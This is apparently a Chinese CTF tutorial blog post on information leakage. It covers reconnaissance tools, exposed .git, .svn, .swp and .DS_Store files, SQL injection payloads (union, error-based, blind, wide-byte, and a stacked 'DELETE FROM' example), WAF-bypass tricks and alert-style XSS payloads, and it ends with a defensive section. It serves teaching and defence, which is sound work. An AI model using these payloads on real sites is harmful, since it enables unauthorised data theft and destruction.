CTF之信息泄漏——你什么都没说但什么都告诉了我

0 阅读25分钟

在CTF比赛和常见网络防护中,通过分析泄漏的信息可以有效获取目标相关信息,有些时候,泄漏的信息成为攻击成功或失败的关键所在。

一、常见信息泄漏方式

(一)遍历类

目录遍历

一般通过遍历服务器目录获取 flag、后台地址、备份文件等关键信息。其核心原理是利用字典对 Web 服务器进行暴力猜解。

相关工具:

  1. dirsearch

    • 简介:一个基于 Python 开发的命令行工具,相比传统工具速度更快,支持递归扫描。

    • 安装git clone https://github.com/maurosoria/dirsearch.git

    • 使用教程

      • 在终端中进入 dirsearch 目录。

      • 基础扫描命令:

        python3 dirsearch.py -u 目标网址 -e *
        
      • 参数解释

        • -u:指定目标 URL。
        • -e *:指定要扫描的文件后缀(如 php, html, js, zip 等),* 代表扫描所有常见后缀。
        • -w:指定自定义字典路径(如 -w /path/to/dict.txt)。
  2. 御剑

    • 特点
      • 多线程:用户可根据自身电脑配置设置调节扫描线程,提高速度。
      • 全面性:集合了 DIR 扫描、ASP/ASPX/PHP/JSP 脚本路径、MDB 数据库等常见敏感路径。
      • 精准度:默认探测状态码 200(即扫描网站真实存在的路径文件),过滤无效链接。

域名挖掘

在渗透测试中,主站往往防护严密,通过挖掘子域名(如 dev.example.com, test.example.com)往往能发现防护较弱的入口或遗留系统。

常用方法:

  1. 工具扫描
    • Layer 子域名挖掘机:Windows 下常用的图形化工具,集成了爆破、搜索引擎查询等功能。
    • SubDomainBrute:基于 Python 的高性能子域爆破工具,适合在 Linux/Kali 下使用。
  2. 搜索引擎语法
    • 使用 Google 或 Bing 的 site 语法:
      • site:xxx.com:列出该域名下所有被搜索引擎收录的页面和子域名。
      • site:xxx.com -www:排除主站,专门查找子域名。
  3. 第三方平台聚合
    • DNSdumpster:免费查询 DNS 记录,可视化展示子域名拓扑图。
    • VirusTotal:在搜索域名时,查看 "Relations" 或 "Communicating" 标签页,常能发现关联子域名。
    • Sublist3r:一款强大的 Python 工具,聚合了 Google, Yahoo, Bing, Baidu, Ask, Netcraft, Virustotal 等多个数据源。

证书伪造与查找

SSL/TLS 证书中通常包含域名信息,攻击者可以通过查询公开的数字证书透明度日志(Certificate Transparency Logs)来发现目标的主域名、子域名甚至内网域名。

核心平台:

  1. crt.sh
    • 最常用的免费证书查询网站,输入域名即可查询所有相关的证书记录。
  2. Censys
    • 简介:Censys 是一个强大的互联网资产搜索引擎(类似 Shodan),它不仅提供证书查询,还能提供全网的设备指纹、端口和服务信息。
    • 核心能力(基于参考材料)
      • 互联网地图:Censys 维护着全球互联网基础设施的权威地图,提供实时数据。
      • 证书与攻击面管理:安全团队利用 Censys 发现未知的互联网暴露资产(包括通过证书关联的资产),识别“影子 IT”。
      • 威胁情报:通过 Censys 可以追踪攻击者的基础设施(Adversary Infrastructure),例如分析恶意软件的 C2 服务器证书。
    • 应用场景
      • 资产发现:查找组织名下所有持有有效 SSL 证书的 IP 和域名。
      • 漏洞排查:快速检索全网受特定漏洞(如 Log4j)影响的设备。

DNS解析获取

DNS 信息泄露可能导致攻击者获取内网结构或管理员邮箱。

常用命令与技巧:

  1. 查询域名服务器 (NS 记录)

    • 使用 dig 工具查询负责该域名的 DNS 服务器:

      dig xxx.com ns
      
  2. DNS 域传送漏洞利用

    • 如果 DNS 服务器配置不当,允许任意 IP 进行区域传输,攻击者可以获取该域名下所有的 DNS 记录(包括内网记录)。

    • 命令格式:

      dig axfr @目标DNS服务器IP 目标域名
      

      注:现代互联网环境中此漏洞已较少见,但在内网渗透中仍值得尝试。

真实IP获取

当目标使用了 CDN(内容分发网络)时,直接扫描域名得到的是 CDN 节点的 IP,无法对源站进行攻击。因此需要寻找“绕过 CDN 获取真实 IP”的方法。

寻找真实 IP 的思路:

  1. 子域名解析
    • 很多网站的 www 或主站走了 CDN,但 mail.xxx.comftp.xxx.comvpn.xxx.com 或测试环境的子域名可能未配置 CDN,直接解析到源站 IP。
  2. 历史 DNS 解析记录
    • 查询域名的历史 DNS 记录(如通过 SecurityTrails, ViewDNS 等平台)。在网站启用 CDN 之前,A 记录指向的往往就是真实 IP。
  3. 邮件地址与邮件头
    • 如果目标网站有邮件发送功能(如注册验证、密码找回),邮件源码中的 Received 字段通常包含源站 IP。
  4. 国外访问
    • 部分 CDN 仅针对国内或特定地区生效,使用海外 VPS 进行解析可能直接获得真实 IP。
  5. 相关站点记录
    • 查询同服务器下的其他站点(旁站),通过 C 段扫描寻找真实 IP。

端口扫描

端口扫描是了解目标开放服务、操作系统版本和潜在漏洞的关键步骤。

工具:Nmap (Network Mapper)

Nmap 是网络探测和安全审计的行业标准工具。

Nmap 基本语法与实战
  1. 扫描指定目标

    • 基础扫描,探测最常见的 1000 个端口:

      nmap <目标IP或域名>
      
  2. 全端口扫描

    • 扫描所有 65535 个端口,防止遗漏非常用端口(如 30000+ 的管理端口):

      nmap -p- <目标IP>
      
  3. 服务版本探测

    • 识别端口上运行的具体软件版本(如 Apache 2.4.1),这对寻找已知漏洞(Exploit)至关重要:

      nmap -sV <目标IP>
      
  4. 综合扫描(推荐)

    • 结合操作系统探测、版本探测、脚本扫描和路由跟踪:

      nmap -A <目标IP>
      
  5. UDP 扫描

    • 默认 Nmap 扫描 TCP 端口,UDP 端口(如 DNS, SNMP, DHCP)需要专门参数:

      nmap -sU <目标IP>
      

(二)语言相关文件

phpinfo

phpinfo 是 PHP 的内置诊断函数,用于输出当前 PHP 环境的完整配置快照。若在生产环境中未删除或限制访问该页面,将导致严重的信息泄露。

泄露内容与危害
  • 敏感配置:暴露 disable_functions(禁用函数列表)、open_basedir(目录限制)、extension_dir(扩展目录)等,攻击者可据此寻找绕过防护的路径。
  • 环境变量:泄露服务器路径、系统版本、数据库连接信息等。
  • 利用方式
    • 文件包含:配合 allow_url_include=On,利用 php://filter 等伪协议读取敏感文件。
    • 临时文件包含:利用 PHP 上传临时文件的机制,结合条件竞争读取临时文件 GetShell。
    • 命令执行:若启用了 expect 扩展,可直接通过 expect:// 协议执行系统命令。
探测与利用
  • 常见路径:直接尝试访问 phpinfo.phpinfo.phptest.php 等。
  • 工具:使用目录扫描工具(如 dirsearch)或 BurpSuite 进行探测。

robots.txt

robots.txt 是网站与网络爬虫之间的核心交互规则,用于指导搜索引擎爬虫的访问权限。但其“禁止访问”的规则往往会反向暴露敏感路径。

泄露原理
  • 反向推断Disallow 字段列出的路径(如 /admin//backup/)通常是管理员不希望被索引的敏感目录,攻击者可据此直接访问。
  • 系统指纹:禁止的路径可能暴露 CMS 类型(如 /wp-admin/ 暗示 WordPress)或中间件(如 /tomcat-manager/)。
利用步骤
  1. 访问文件:在目标 URL 后拼接 /robots.txt
  2. 提取路径:查找 Disallow 后的路径。
  3. 直接访问:拼接目标 URL 与提取的路径,查看是否存在敏感信息或后台入口。

注释

前端注释常包含开发人员遗留的调试信息、敏感数据或逻辑说明。

查看源码方法
  • 浏览器快捷键Ctrl + UF12(开发者工具)。
  • 协议头:在网址前加上 view-source:
  • 禁用 JS:在浏览器设置中禁用 JavaScript 后查看源码,防止代码动态修改 DOM。
常见泄露内容
  • 敏感凭证:泄露的用户名、密码、API Key。
  • 隐藏逻辑:前端 JS 绕过逻辑、未公开的接口参数。
  • Meta 标签<meta> 标签中可能包含框架版本或管理后台入口。

响应头

HTTP 响应头中常包含服务器软件版本、框架信息及自定义规范,是信息收集的重要来源。

常见泄露字段
  • Server:Web 服务器类型及版本(如 Apache/2.4.41)。
  • X-Powered-By:开发语言及框架(如 PHP/7.4.3ASP.NET)。
  • 自定义头:部分网站采用自定义响应头(如 X-Debug-Info),可能包含内部调试信息。
工具
  • BurpSuite:使用 Repeater 模块发送请求,观察响应头。
  • 浏览器开发者工具:在“网络”标签页查看请求详情。

网站框架获取

识别网站使用的 CMS、框架、库及服务器版本,有助于查找已知的历史漏洞。

常用工具
  • Wappalyzer:浏览器插件,实时识别网站技术栈。
  • WhatWeb:命令行工具,支持多种识别策略。
  • W11scan:分布式 Web 指纹识别系统。
  • 云悉:在线指纹识别平台。
识别内容
  • CMS:WordPress, Joomla, Drupal 等。
  • JS 框架:Vue.js, React, Angular 等。
  • Web 服务器:Nginx, Apache, IIS 等。

WEB-INF/web.xml 泄露

WEB-INF 目录包含了所有 web 应用会用到但不处于 web 路径中的资源,即不属于公开页面。通常开发者会把 JSP 文件、Jar 包、Java 类文件放在该目录下。

1. 漏洞产生
  • 原理:在 Java 的 Servlet 文档中,WEB-INF  目录包含了所有 web 应用会用到但不处于 web 路径中的资源,即不属于公开页面。通常开发者会把 JSP 文件、Jar 包、Java 类文件放在该目录下。
  • 常见泄露文件
    • WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    • WEB-INF/database.properties:数据库配置文件。
    • WEB-INF/classes/:一般用来存放 Java 类文件 (.class)。
    • WEB-INF/lib/:用来存放打包好的库 (.jar)。
    • WEB-INF/src/:用来放源代码 (.asp 和 .php 等)。
2. 漏洞利用
  • 信息收集:通过 web.xml 文件推测应用组件相关类的名字,然后在 src 目录下查找代码。
  • 代码审计:如果没有源代码,可以直接下载 class 文件进行反编译(使用 JD-GUI 等工具)。
  • 利用方式
    • Tomcat 路径遍历:利用 CVE-2020-1938 (Ghostcat) 等漏洞,通过 AJP 协议读取 WEB-INF 下的文件。
    • 文件包含:若存在文件包含漏洞,尝试包含 WEB-INF/web.xml

(三)备份文件获取

常见备份文件前缀:

web、website、backup、back、www、wwwroot、temp

常见备份文件类型:

tar、tar.gz、zip、rar

看看提示有没有关键信息,没有的话就用目录扫描工具扫描备份文件,对于.bak文件可以尝试用notepad++或文本编辑器打开搜索flag。

(四)代码管理不当

git

Git 是目前最流行的分布式版本控制系统。在自动化部署站点时,如果配置不当,可能会将 .git 文件夹直接暴露在线上环境中。攻击者可以利用该文件夹恢复源代码,从而审计代码并挖掘文件上传、SQL注入等Web安全漏洞。

目录结构
  • hooks:存放一些 shell 脚本的地方。
  • info:存放仓库的信息。
  • objects:存放所有 git 对象的地方。
  • refs:存放提交 hash 的地方。
  • config:github 的配置信息。
  • description:仓库的描述信息,主要给 gitweb 等 git 托管系统使用。
  • HEAD:映射到 ref 引用,能够找到下一次 commit 的前一次哈希值。
工具与利用

1. GitHack

  • 简介:一个 .git 文件夹泄露利用脚本,通过泄露的 .git 文件夹下的文件,重建还原工程源代码。
  • 环境:需 Python 2 环境。
  • 地址GitHub - lijiejie/GitHack: A .git folder disclosure exploit · GitHub
  • 使用教程
    1. 打开终端,进入 GitHack 目录:cd GitHack/
    2. 运行脚本:python GitHack.py http://www.target.com/.git/
    3. 执行后会在本目录生成以网址命名的文件夹。

2. dvcs-ripper

技巧:一般先看题目或页面是否有 Git 相关提示,没有的话需通过目录扫描发现。使用 git diff 可比较不同版本差异,在某些题目中可直接获取 flag。

svn

SVN 是一个开放源代码的版本控制系统。在服务器部署代码时,如果使用 svn checkout 功能更新代码且未配置好目录访问权限,会存在此漏洞。黑客可利用此漏洞下载整套网站源代码。

工具与利用

SvnExploit

hg

Mercurial 是一种轻量级分布式版本控制系统。使用 hg init 初始化时会生成 .hg 目录,若该目录泄露,可能导致源码泄露。

cvs

CVS 是一个 C/S 系统的版本控制系统。主要是针对 CVS/Root 以及 CVS/Entries 目录,若配置不当,可直接导致信息泄露。

bzr

bzr 也是一个版本控制工具,虽然相对冷门,但支持多平台且有不错的图形界面。其泄露同样可能导致源码被恢复。

vim

Vim 备份文件泄露

  • 原理:在使用 Vim 编辑器时,若非正常关闭(如直接关闭终端、电脑断电等),Vim 会生成一个用于备份缓冲区内容的临时文件(Swap file),即 .swp 文件。它记录了未能及时保存的修改。多次意外退出会生成 .swo, .swn 等新文件。
  • 利用:直接访问 .swp 文件,下载后删除末尾的 .swp 后缀,即可恢复源码文件。

MacOS

DS_Store 泄露

  • 原理:MacOS 系统会在文件夹下生成 .DS_Store 文件以存储文件夹的自定义属性(如图标位置、背景等)。
  • 利用:若该文件泄露,攻击者可利用 ds_store_exp 等工具解析该文件,获取目录结构及文件名信息。
工具:ds_store_exp
  • 简介:一个 .DS_Store 文件泄漏利用脚本,它解析 .DS_Store 文件并递归地下载文件到本地。
  • 地址github.com/lijiejie/ds…
  • 安装pip install ds-store requests
  • 使用python ds_store_exp.py http://www.example.com/.DS_Store
  • 示例
    • ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store
    • 该工具可递归下载目录结构,如 app/css/style.min.cssimages/img/bg-hd.png 等。

网盘误传

开发人员或运维人员可能误将包含源码、配置文件或敏感数据的压缩包上传至公开网盘。

  • 搜索技巧:利用网盘搜索引擎(如盘搜搜、猪猪盘等)搜索特定的关键词(如公司名、项目名、"源码"、"backup"、"数据库"等)。

历史漏洞

利用公开的漏洞库搜索目标系统或组件的历史漏洞,往往能找到未修复的入口或默认凭证。

(五)sql注入

sql语句参考: CTF入门之渗透测试的盗窃

sql注入来自于开发者信任用户输入的数据,没有经过安全、合理的方式,直接组成SQL语句,带入数据库执行。用户数据 => 可执行代码,可执行代码通过直接信道或者间接信道将敏感信息传出来(直接注入,报错注入,盲注,带外查询等)

注入方式

1. Union注入

利用UNION操作符将恶意查询语句拼接到原SQL语句中,通过回显位获取数据库信息。

判断与探测

  • 基本判断
    • 1':单引号闭合,若报错则存在注入点。
    • 1' || '1'='1:万能密码逻辑,若返回正常则注入成功。
    • 1' and sleep(3)#:若网页延时3秒返回,说明SQL语句执行了延时函数。
  • 黑名单测试:尝试使用单双引号、/**/注释、关键字(unionselect)等,观察是否被拦截。

攻击流程

  1. 猜解字段数:使用order by判断查询的列数。
    • Payload:
    • 1' order by 3 #(假设第3列报错,则继续猜测字段数为2)
      
  2. 确定回显位:使用union select确定页面显示哪一列的数据。
    • Payload:
    • 1' union select 1,2,3 limit 1,1%23
      
  3. 获取数据
    • 基本信息1' union select 1,version(),user() limit 1,1%23(常用函数:version()user()database())。
    • 数据库名
      • 逐行:
      • 1' union select 1,2,schema_name from information_schema.schemata limit 1,1%23
        
      • 聚合:
      • 1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 1,1%23`
        
    • 表名
    • 1' union select 1,2,table_name from information_schema.tables where table_schema='level1' limit 1,1%23
      
    • 字段名
    • 1' union select 1,2,column_name from information_schema.columns where table_name='secrets' limit 1,1%23
      
    • 具体数据
    • 1' union select 1,2,hex(secret) from level1.secrets limit 1,1%23
      
    • (使用hex()防止特殊字符截断)。
2. 绕过技巧

当WAF或代码过滤了特定字符时,需采用绕过手段。

关键字过滤

  • 内联注释sel/**/ectuni/**/on
  • 符号分割sel<>ectsel~ect
  • 双写/大小写selselectectSelEctUNION
  • 编码绕过:URL编码、16进制、ASCII编码。

符号与语法绕过

  • 逗号过滤
    • JOIN方法:union select * from (select 1)a join (select 2)b join (select 3)c
    • FROM...FOR语法:substr(str from 1 for 1)//在str中从第pos位截取len长的字符mid(str from 1)//在str中从第pos位截取len长的字符
    • OFFSET语法:limit 1 offset 1
  • 空格过滤
    • 使用括号()、注释/**/、回车、TAB、%09%0a%0b%0c%0d%a0%00代替。
  • 等号过滤
    • LIKEselect * from flag where name like 'flag'
    • REGEXPuser() regexp '^root'
    • POSITIONPOSITION('root' in user())

逻辑运算符替代

  • AND&& / &
  • OR|| / |
  • XOR|
  • NOT!
  • =LIKE / REGEXP / IN / BETWEEN...AND
  • 其他函数:GREATEST(n1,n2)(取最大值)、STRCMP(s1,s2)(字符串比较)。
3. 宽字节注入
  • 触发条件:数据库使用GBK编码,且PHP使用了转义函数(如addslashes()mysql_set_charset('gbk'))。
  • 原理:利用多字节字符特性“吃掉”转义字符\
  • 攻击思路
    • **%df吃掉**:addslashes('')会将'转为\'(即%5c%27)。若输入%df%5c%27,在GBK编码下%df%5c会被解析为一个汉字(如“縗”),%27')则逃逸出来作为闭合符。
    • **过滤**:若\被过滤,可构造%5c%5c%27,前一个%5c被过滤或注释,后一个%5c%27组合。
  • 相关函数addslashes()replace()
4. 报错注入

利用数据库特定的函数强制抛出错误,并将查询结果通过错误信息回显。

  • ExtractValue
    • Payload:
    • sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
      
  • UpdateXML
    • Payload:
    • sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
      
5. 盲注

当页面没有回显,只能根据页面状态(True/False)或响应时间判断注入结果。

布尔盲注

  • 原理:通过页面返回内容的差异(如页面长度、特定关键词是否存在)判断SQL语句真假。
  • 常用Payload
    • 基础:' or {bool}#
    • 过滤空格/注释:' or ({bool})='1' or (({bool}) in (1)) or '0
    • 过滤OR/AND:^!({bool})='1'=if(({bool}),1,0)='0
  • 数据获取:使用substr()ascii()left()mid()strcmp()逐字节猜解。

时间盲注

  • 原理:页面True/False表现一致,利用延时函数判断。若满足条件则休眠,否则立即返回。
  • 常用函数
    • sleep(N):延时N秒。
    • benchmark(loop_num, task):执行大量计算消耗时间。
    • if(cond, v_1, v_2):条件判断。
  • Payload示例id=1 and if(ascii(substr((select database()),1,1))>100, sleep(5), 0)
6. 堆叠注入
  • 原理:利用分号;结束当前SQL语句,并拼接新的恶意语句一同执行。
  • 特点
    • UNION注入不同,堆叠注入可以执行任意SQL语句(如DELETEUPDATEDROP),不仅限于查询。
    • 风险:极高,可能导致删库、修改数据甚至GetShell。
  • 限制:并非所有数据库接口都支持(如PHP的mysql扩展不支持,mysqlimulti_query支持)。
  • 示例
    • 输入:1; DELETE FROM products
    • 执行:SELECT * FROM products WHERE id=1; DELETE FROM products

(六)xss注入

XSS(Cross-Site Scripting,跨站脚本攻击)是一种典型的Web程序漏洞利用攻击。攻击者利用Web程序对用户输入检查不足的漏洞,将可执行的恶意脚本(通常是JavaScript,也包含Java、VBScript、ActiveX等)注入到网站或Web应用中。当用户访问该网页时,恶意脚本在客户端浏览器中被触发执行,从而达到窃取数据、篡改网页等攻击目的。

危害

XSS漏洞可能导致严重的数据泄露与权限失控,主要危害包括:

  • 盗取用户凭证:窃取用户Cookie、SessionID,实现会话劫持,盗取各类账号(如后台管理员、网银账户)。
  • 恶意篡改与破坏:删除目标文章、恶意篡改网页内容、挂马、进行钓鱼攻击。
  • 拒绝服务与劫持:对客户端浏览器发起DoS攻击、劫持用户Web行为。
  • 内网渗透与传播:利用蠕虫进行系列攻击、进一步渗透内网、嫁祸他人。

分类

根据攻击数据的持久化方式及触发机制,XSS主要分为以下三类:

1. 反射型XSS(非持久型)
  • 原理:攻击者事先制作好包含恶意脚本的攻击链接(通常通过URL参数传递),服务器接收到请求后,未经处理直接将脚本“反射”回页面。
  • 特点非持久化。恶意代码不存储在服务器中,仅存在于单次请求与响应中。
  • 触发条件:必须欺骗用户主动点击恶意链接(如通过钓鱼邮件、社交工程),通常出现在搜索页面、错误提示页面等。
2. 存储型XSS(持久型)
  • 原理:攻击者将恶意脚本提交并永久存储在服务器的后端数据库(如论坛帖子、用户评论、个人资料)中。当其他用户访问包含该数据的页面时,恶意脚本从服务器加载并自动执行。
  • 特点持久化。危害性最大,无需诱导用户点击特定链接,影响范围广。
  • 触发条件:只要用户访问被植入恶意代码的页面即触发。此类漏洞极易造成蠕虫传播,大量盗窃Cookie。
3. DOM型XSS
  • 原理:基于文档对象模型(DOM)的漏洞。客户端脚本通过DOM动态地访问和更新文档内容(如locationreferrer等对象)。如果前端JavaScript代码从URL或客户端获取数据后,未经严格确认直接修改DOM结构,就会产生漏洞。
  • 特点纯客户端攻击。漏洞触发点在于前端脚本逻辑,不依赖于向服务器端提交数据,恶意代码在本地执行。

XSS 攻击常用 Payload

  1. 基础弹窗

    <ScRipt>alert(1)</ScRipt>
    

    (利用大小写绕过)

  2. 闭合标签后弹窗

    1"><ScRipt>alert(1)</ScRipt>
    
  3. 事件句柄注入 (onclick)

    ' onclick='javascript:alert(1)'//
    " onclick='javascript:alert(1)'//
    
  4. 伪协议注入

    "></input><a href='javascript:alert(1)'>asd</a>//
    
  5. 双重大小写混淆

    1"><ScscriptRipt>alert(1)</ScscriptRipt>
    

    (注:笔记原文写法较为特殊,意图是利用复杂的混淆绕过过滤)

  6. Referer 注入

    referer:"type='text' onclick='javascript:alert(1)'>//
    
  7. 图片标签错误事件注入 (onerror)

    <img src=xx onerror=alert(1)>'
    

(七)资产监控

ARL资产侦察灯塔系统快速发现与目标关联的域名、IP、端口及Web服务,构建基础资产信息库。通过自动化探测与指纹识别,协助安全团队发现潜在攻击面与薄弱环节。

二、防护方式

1. 防止敏感信息泄漏(目录、备份与配置)

针对目录遍历、备份文件下载及 phpinfo 泄露,核心防御在于“最小化暴露”与“严格的访问控制”。首先,必须在 Web 服务器(如 Nginx、Apache)配置中彻底关闭目录浏览功能,防止攻击者直接获取文件列表。其次,建立严格的代码部署规范,生产环境中严禁保留 phpinfo.phptest.php 等探针文件,同时严禁在网站根目录存放 .bak.sql.zip 等备份压缩包,应将其移至 Web 根目录之外的存储区域。此外,应配置自定义的错误页面(如 404、500 页面),屏蔽服务器默认的错误堆栈信息,避免泄露物理路径或数据库结构。最后,通过修改服务器配置隐藏 ServerX-Powered-By 等响应头字段,减少攻击者通过指纹识别获取版本信息的机会,从而增加其攻击成本。

2. 代码版本控制安全(Git/SVN 泄露)

针对利用 GitHackSvnExploit 等工具恢复源码的攻击,防御重点在于切断版本控制元数据的线上暴露。在自动化部署或手动上传代码时,必须配置构建脚本或 CI/CD 流水线,确保在打包阶段自动剔除 .git.svn.hg 等版本控制隐藏目录,严禁将这些包含完整代码历史和配置信息的文件夹上传至生产服务器。开发阶段应严格维护 .gitignore 文件,将敏感配置文件(如 .envconfig.php)排除在版本控制之外,防止密钥硬编码泄露。同时,应在 Web 服务器层面配置访问规则,明确禁止外部用户访问以 . 开头的隐藏文件或目录,即使文件意外遗留,也能通过服务器权限控制阻断下载请求,从根本上杜绝源码泄露风险。

3. 编辑器与系统文件安全(Vim/MacOS 泄露)

针对 Vim 临时文件(.swp)和 MacOS 资源文件(.DS_Store)泄露,防御策略需结合运维规范与服务器配置。运维人员应避免直接在生产环境的 Web 目录下使用 Vim 等编辑器修改文件,防止因异常退出生成 .swp 恢复文件;建议采用“本地修改、远程同步”的工作流。对于 MacOS 用户,应在上传代码前清理 .DS_Store 文件,或在服务器端配置自动清理脚本。最关键的技术手段是在 Web 服务器(如 Nginx)中配置 Location 规则,禁止访问所有以 . 开头的隐藏文件(如 location ~ /\. { deny all; }),这能有效拦截对 .swp.DS_Store 以及 .git 等敏感隐藏资源的 HTTP 请求,构建一道坚实的底层防线。

4. SQL 注入防御

针对sql的 Union 注入、报错注入、盲注及宽字节注入,最根本的防御措施是全面采用预编译语句(Prepared Statements)和参数化查询。通过使用 ORM 框架或 PDO,确保用户输入的数据被严格作为数据处理,而非 SQL 代码的一部分执行,从而彻底阻断 SQL 逻辑的篡改。同时,实施严格的输入验证,对整型参数进行类型强制转换,对字符串参数采用白名单机制过滤特殊字符。在数据库层面,遵循最小权限原则,Web 应用连接数据库的账号应仅授予业务所需的最小权限,严禁使用 root 等高权限账号,防止攻击者利用堆叠注入执行删库或写文件操作。此外,统一数据库、应用和连接的字符集为 UTF-8,可有效规避宽字节注入带来的编码解析差异风险。

5. XSS(跨站脚本)防御

针对反射型、存储型和 DOM 型 XSS 攻击,防御的核心在于“输入过滤”与“输出编码”的双重机制。在数据输出到前端页面时,必须根据上下文环境(HTML 标签内、JS 脚本中、CSS 样式中或 URL 参数里)进行相应的实体编码(如将 < 转为 &lt;),确保浏览器将其解析为文本而非可执行脚本。对于 Cookie 等敏感凭证,务必设置 HttpOnly 标志,禁止 JavaScript 读取,从而在 XSS 漏洞存在的情况下仍能保护会话安全。此外,部署内容安全策略(CSP)是防御 XSS 的强力补充,通过白名单机制限制浏览器仅加载指定域名的脚本、图片和样式,能有效阻断内联脚本和未知来源恶意代码的执行,大幅降低 XSS 攻击的成功率。

6. 资产与架构安全

针对子域名挖掘、CDN 绕过和 DNS 泄露等资产层面的攻击,防御重点在于“收敛攻击面”与“隐藏真实架构”。企业应定期进行资产清查,及时下线不再使用的测试子域名、老旧系统和开发接口,减少被攻击的入口。在使用 CDN 时,需确保所有业务流量(包括 mailftp 等非 Web 业务)均经过 CDN 节点,避免在邮件头或历史 DNS 记录中直接暴露源站 IP。对于 DNS 服务,应严格配置访问控制列表,关闭 DNS 域传送功能,仅允许授权的从服务器进行数据同步,防止攻击者获取内网拓扑结构。同时,利用防火墙限制源站仅接受来自 CDN 节点 IP 段的访问请求,即使真实 IP 泄露,也能通过访问控制策略阻断直接攻击。